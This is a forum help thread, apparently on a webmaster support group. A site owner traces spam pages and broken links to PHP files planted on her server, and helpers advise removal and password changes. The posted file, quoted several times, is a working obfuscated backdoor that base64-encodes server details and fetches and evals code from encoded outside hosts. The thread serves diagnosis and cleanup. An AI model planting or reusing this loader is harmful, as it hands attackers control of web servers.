> Webmaster tools shows my site has 250 broken links - but these links
> are not ones I have put in the site, adn I cannot find them in my
> source code. Here are a couple of examples:

> http://www.vintageretrolingerie.com/prodimages/1-2-3-%2Fgallery%2F-te...

> http://www.vintageretrolingerie.com/prodimages/ADOBE-PHOTO-ALBUM-2-S%......

> http://www.vintageretrolingerie.com/prodimages/AVI%2FMPEG%2FRM%2FWMV-...

> http://www.vintageretrolingerie.com/prodimages/AVI-to-VCD%2FSVCD%2FDV...

> How can I find these so I can clean them out?  many thanks!

> Hi Therese

> It does look like this content is coming from your site... For
> instance, I'm looking at the URL:http://www.vintageretrolingerie. com/prodimages/license-code-im-dvd-
> creator.html

> This URL shows content matching the "subject" meta tag used there:
> "license code im dvd creator, cm 03/04 free download patch, Fullmetal
> Alchemist Ready Steady Go free Mp3 Downloads, free downloads for grand
> theft auto sanandres pc, Maplestory hacks Apache download, juegos emu
> v2.com, photoshop cs2 keygen and download instructions free,
> application security software web"

> You can find some more of these URLs by searching for [site:http://www.vintageretrolingerie.com/prodimages/]http://www.google.com/search?q=site:http://www.vintageretrolingerie.c...

> It appears that your normal content is not found in this folder. If
> that is the case, you can probably use a robots.txt disallow directive
> to block the crawling of this subdirectory while you chase down what
> is happening on your server.

> Strangely, it appears that I cannot access that URL on your site any
> more. If you have not changed anything, I would recommend that you
> contact your hoster for assistance.

> Hope it helps!
> John

> Hi Therese

> It does look like this content is coming from your site... For
> instance, I'm looking at the URL:http://www.vintageretrolingerie. com/prodimages/license-code-im-dvd-
> creator.html

> This URL shows content matching the "subject" meta tag used there:
> "license code im dvd creator, cm 03/04 free download patch, Fullmetal
> Alchemist Ready Steady Go free Mp3 Downloads, free downloads for grand
> theft auto sanandres pc, Maplestory hacks Apache download, juegos emu
> v2.com, photoshop cs2 keygen and download instructions free,
> application security software web"

> You can find some more of these URLs by searching for [site:http://www.vintageretrolingerie.com/prodimages/]http://www.google.com/search?q=site:http://www.vintageretrolingerie.c...

> It appears that your normal content is not found in this folder. If
> that is the case, you can probably use a robots.txt disallow directive
> to block the crawling of this subdirectory while you chase down what
> is happening on your server.

> Strangely, it appears that I cannot access that URL on your site any
> more. If you have not changed anything, I would recommend that you
> contact your hoster for assistance.

> Hope it helps!
> John

> It could be links pointing to your site?

> They seem to be the same type of 'spam' (porn links and software rips)

> At first, I thoguht so too, but teh google report is showing them as
> broken links within the site.  The html files referred to in the link
> report don't even exist on the web server. Yet several things actually
> show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> It's almost like someone has "hijacked" the domain name or
> something........................

> On Jul 14, 3:17 pm, Autocrat wrote:

> > It could be links pointing to your site?

> > They seem to be the same type of 'spam' (porn links and software rips)

> If you didn't make that page it may be hacked:http://www.google.com/search?hl=en&rlz=1B3GGGL_enUS278US278&q=site:vi...

> On Jul 14, 9:46 pm, tobrien wrote:

> > At first, I thoguht so too, but teh google report is showing them as
> > broken links within the site.  The html files referred to in the link
> > report don't even exist on the web server. Yet several things actually
> > show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> > It's almost like someone has "hijacked" the domain name or
> > something........................

> > On Jul 14, 3:17 pm, Autocrat wrote:

> > > It could be links pointing to your site?

> > > They seem to be the same type of 'spam' (porn links and software rips)- Hide quoted text -

> - Show quoted text -

> Not only did I not make it, I can't even find it on the web server.
> I've been comparng files from my original posting and I found 3 PHP
> files that didn't exist back then.  2 are in the prodimages folder
> (the problematic folder- I don't know much PHP, so I'm a bit
> suspicious about them.  Just in case anyone out there can make sense
> of it, here's the code in the latest one:

> ? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?
> $_SERVER["HTTP_HOST"] : $HTTP_HOST);
> $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
> $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ?
> $_SERVER["REQUEST_URI"] : $REQUEST_URI);
> $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
> $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] :
> $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ?
> $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
> $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] :
> $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ?
> $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
> $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] :
> $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?
> $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
> $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base ­64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encod e­($g).".".base64_encode($h).".
> $s.".base64_encode($i).".".base64_encode($j); if
> ((include(base64_decode("aHR0cDovL3d3dzMucGhwdGFncy53cw==")."/?".
> $str))){} else if
> (include(base64_decode("aHR0cDovL3Nob3Audm1hcmtldC5pbmZv")."/?".
> $str));else if
> ($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").
> $str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3 ­MvPw==").
> $str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
> $str=curl_exec($cu);curl_close($cu);eval($str);}; ?>

> Many thanks to all who have responded!

> Therese

> On Jul 14, 7:56 pm, beussery wrote:

> > If you didn't make that page it may be hacked:http://www.google.com/search?hl=en&rlz=1B3GGGL_enUS278US278&q=site:vi...

> > On Jul 14, 9:46 pm, tobrien wrote:

> > > At first, I thoguht so too, but teh google report is showing them as
> > > broken links within the site.  The html files referred to in the link
> > > report don't even exist on the web server. Yet several things actually
> > > show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> > > It's almost like someone has "hijacked" the domain name or
> > > something........................

> > > On Jul 14, 3:17 pm, Autocrat wrote:

> > > > It could be links pointing to your site?

> > > > They seem to be the same type of 'spam' (porn links and software rips)- Hide quoted text -

> > - Show quoted text -- Hide quoted text -

> - Show quoted text -

> Not only did I not make it, I can't even find it on the web server.
> I've been comparng files from my original posting and I found 3 PHP
> files that didn't exist back then.  2 are in the prodimages folder
> (the problematic folder- I don't know much PHP, so I'm a bit
> suspicious about them.  Just in case anyone out there can make sense
> of it, here's the code in the latest one:

> ? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?
> $_SERVER["HTTP_HOST"] : $HTTP_HOST);
> $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
> $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ?
> $_SERVER["REQUEST_URI"] : $REQUEST_URI);
> $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
> $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] :
> $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ?
> $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
> $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] :
> $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ?
> $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
> $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] :
> $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?
> $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
> $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base 64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode ($g).".".base64_encode($h).".
> $s.".base64_encode($i).".".base64_encode($j); if
> ((include(base64_decode("aHR0cDovL3d3dzMucGhwdGFncy53cw==")."/?".
> $str))){} else if
> (include(base64_decode("aHR0cDovL3Nob3Audm1hcmtldC5pbmZv")."/?".
> $str));else if
> ($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").
> $str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3 MvPw==").
> $str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
> $str=curl_exec($cu);curl_close($cu);eval($str);}; ?>

> Many thanks to all who have responded!

> Therese

> On Jul 14, 7:56 pm, beussery wrote:

> > If you didn't make that page it may be hacked:http://www.google.com/search?hl=en&rlz=1B3GGGL_enUS278US278&q=site:vi...

> > On Jul 14, 9:46 pm, tobrien wrote:

> > > At first, I thoguht so too, but teh google report is showing them as
> > > broken links within the site.  The html files referred to in the link
> > > report don't even exist on the web server. Yet several things actually
> > > show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> > > It's almost like someone has "hijacked" the domain name or
> > > something........................

> > > On Jul 14, 3:17 pm, Autocrat wrote:

> > > > It could be links pointing to your site?

> > > > They seem to be the same type of 'spam' (porn links and software rips)- Hide quoted text -

> > - Show quoted text -

> I don't know what that does, but it can't be good. I'd get rid of it.
> And change all passwords.

> On Jul 14, 10:29 pm, tobrien wrote:

> > Not only did I not make it, I can't even find it on the web server.
> > I've been comparng files from my original posting and I found 3 PHP
> > files that didn't exist back then.  2 are in the prodimages folder
> > (the problematic folder- I don't know much PHP, so I'm a bit
> > suspicious about them.  Just in case anyone out there can make sense
> > of it, here's the code in the latest one:

> > ? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?
> > $_SERVER["HTTP_HOST"] : $HTTP_HOST);
> > $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
> > $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ?
> > $_SERVER["REQUEST_URI"] : $REQUEST_URI);
> > $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
> > $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] :
> > $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ?
> > $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
> > $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] :
> > $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ?
> > $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
> > $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] :
> > $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?
> > $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
> > $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base ­­64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_enco d­e­($g).".".base64_encode($h).".
> > $s.".base64_encode($i).".".base64_encode($j); if
> > ((include(base64_decode("aHR0cDovL3d3dzMucGhwdGFncy53cw==")."/?".
> > $str))){} else if
> > (include(base64_decode("aHR0cDovL3Nob3Audm1hcmtldC5pbmZv")."/?".
> > $str));else if
> > ($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").
> > $str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3 ­­MvPw==").
> > $str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
> > $str=curl_exec($cu);curl_close($cu);eval($str);}; ?>

> > Many thanks to all who have responded!

> > Therese

> > On Jul 14, 7:56 pm, beussery wrote:

> > > If you didn't make that page it may behacked:http://www.google.com/search?hl=en&rlz=1B3GGGL_enUS278US278&q=site:vi...

> > > On Jul 14, 9:46 pm, tobrien wrote:

> > > > At first, I thoguht so too, but teh google report is showing them as
> > > > broken links within the site.  The html files referred to in the link
> > > > report don't even exist on the web server. Yet several things actually
> > > > show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> > > > It's almost like someone has "hijacked" the domain name or
> > > > something........................

> > > > On Jul 14, 3:17 pm, Autocrat wrote:

> > > > > It could be links pointing to your site?

> > > > > They seem to be the same type of 'spam' (porn links and software rips)- Hide quoted text -

> > > - Show quoted text -- Hide quoted text -

> > - Show quoted text -- Hide quoted text -

> - Show quoted text -

> I've deleted all 3 - but kept a copy on my local machine, just in
> case.....................and changed the passwords too.

> I really appreciate your help - PHP is /greek to me, the only thing I
> know is I didn;t put it there!

> Therese

> On Jul 14, 8:55 pm, webado wrote:

> > I don't know what that does, but it can't be good. I'd get rid of it.
> > And change all passwords.

> > On Jul 14, 10:29 pm, tobrien wrote:

> > > Not only did I not make it, I can't even find it on the web server.
> > > I've been comparng files from my original posting and I found 3 PHP
> > > files that didn't exist back then.  2 are in the prodimages folder
> > > (the problematic folder- I don't know much PHP, so I'm a bit
> > > suspicious about them.  Just in case anyone out there can make sense
> > > of it, here's the code in the latest one:

> > > ? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?
> > > $_SERVER["HTTP_HOST"] : $HTTP_HOST);
> > > $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
> > > $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ?
> > > $_SERVER["REQUEST_URI"] : $REQUEST_URI);
> > > $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
> > > $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] :
> > > $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ?
> > > $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
> > > $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] :
> > > $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ?
> > > $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
> > > $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] :
> > > $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?
> > > $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
> > > $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base ­­­64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_enc o­d­e­($g).".".base64_encode($h).".
> > > $s.".base64_encode($i).".".base64_encode($j); if
> > > ((include(base64_decode("aHR0cDovL3d3dzMucGhwdGFncy53cw==")."/?".
> > > $str))){} else if
> > > (include(base64_decode("aHR0cDovL3Nob3Audm1hcmtldC5pbmZv")."/?".
> > > $str));else if
> > > ($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").
> > > $str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3 ­­­MvPw==").
> > > $str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
> > > $str=curl_exec($cu);curl_close($cu);eval($str);}; ?>

> > > Many thanks to all who have responded!

> > > Therese

> > > On Jul 14, 7:56 pm, beussery wrote:

> > > > If you didn't make that page it may behacked:http://www.google.com/search?hl=en&rlz=1B3GGGL_enUS278US278&q=site:vi...

> > > > On Jul 14, 9:46 pm, tobrien wrote:

> > > > > At first, I thoguht so too, but teh google report is showing them as
> > > > > broken links within the site.  The html files referred to in the link
> > > > > report don't even exist on the web server. Yet several things actually
> > > > > show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> > > > > It's almost like someone has "hijacked" the domain name or
> > > > > something........................

> > > > > On Jul 14, 3:17 pm, Autocrat wrote:

> > > > > > It could be links pointing to your site?

> > > > > > They seem to be the same type of 'spam' (porn links and software rips)- Hide quoted text -

> > > > - Show quoted text -- Hide quoted text -

> > > - Show quoted text -- Hide quoted text -

> > - Show quoted text -- Hide quoted text -

> - Show quoted text -

> You might also check code in your pages, something may be calling the
> php you've posted.  Is there a database on your site?  If so you might
> change it's password as well....

> On Jul 14, 10:29 pm, tobrien wrote:

> > Not only did I not make it, I can't even find it on the web server.
> > I've been comparng files from my original posting and I found 3 PHP
> > files that didn't exist back then.  2 are in the prodimages folder
> > (the problematic folder- I don't know much PHP, so I'm a bit
> > suspicious about them.  Just in case anyone out there can make sense
> > of it, here's the code in the latest one:

> > ? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?
> > $_SERVER["HTTP_HOST"] : $HTTP_HOST);
> > $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
> > $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ?
> > $_SERVER["REQUEST_URI"] : $REQUEST_URI);
> > $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
> > $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] :
> > $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ?
> > $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
> > $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] :
> > $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ?
> > $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
> > $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] :
> > $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?
> > $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
> > $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base ­64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encod e­($g).".".base64_encode($h).".
> > $s.".base64_encode($i).".".base64_encode($j); if
> > ((include(base64_decode("aHR0cDovL3d3dzMucGhwdGFncy53cw==")."/?".
> > $str))){} else if
> > (include(base64_decode("aHR0cDovL3Nob3Audm1hcmtldC5pbmZv")."/?".
> > $str));else if
> > ($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").
> > $str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3 ­MvPw==").
> > $str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
> > $str=curl_exec($cu);curl_close($cu);eval($str);}; ?>

> > Many thanks to all who have responded!

> > Therese

> > On Jul 14, 7:56 pm, beussery wrote:

> > > If you didn't make that page it may behacked:http://www.google.com/search?hl=en&rlz=1B3GGGL_enUS278US278&q=site:vi...

> > > On Jul 14, 9:46 pm, tobrien wrote:

> > > > At first, I thoguht so too, but teh google report is showing them as
> > > > broken links within the site.  The html files referred to in the link
> > > > report don't even exist on the web server. Yet several things actually
> > > > show up, liek thishttp://www.vintageretrolingerie.com/prodimages/simgirl-4.12.html.

> > > > It's almost like someone has "hijacked" the domain name or
> > > > something........................

> > > > On Jul 14, 3:17 pm, Autocrat wrote:

> > > > > It could be links pointing to your site?

> > > > > They seem to be the same type of 'spam' (porn links and software rips)- Hide quoted text -

> > > - Show quoted text -- Hide quoted text -

> - Show quoted text -

> Hi Therese

> The code that you posted here downloads and executes content from
> various sites based on information provided by your server. In other
> words, it allows other people to have almost full control over your
> webserver. Great job on finding and removing it!

> John

> Hi Therese

> The code that you posted here downloads and executes content from
> various sites based on information provided by your server. In other
> words, it allows other people to have almost full control over your
> webserver. Great job on finding and removing it!

> John

> Well, looks like we're not out of the woods yet!  Google crawled on
> Jul 15 and found 4091 "broken links" in the site. I've checked the
> folder that the broken links are reported in, and nothing unusual is
> lurking there - just jpeg files. I don't know where to begin - is
> there anywhere I can get some advice?

> Thanks,

> Therese

> On Jul 15, 2:27 am, JohnMu wrote:

> > Hi Therese

> > The code that you posted here downloads and executes content from
> > various sites based on information provided by your server. In other
> > words, it allows other people to have almost full control over your
> > webserver. Great job on finding and removing it!

> > John- Hide quoted text -

> - Show quoted text -

> Hi Therese
> It's good to see you cleaning out all the leftovers :). I wouldn't
> worry about those broken links, they're probably pointing to the bad
> content that you have since removed -- so it's good to see that they
> are being reported as broken.

> Hope it helps!
> John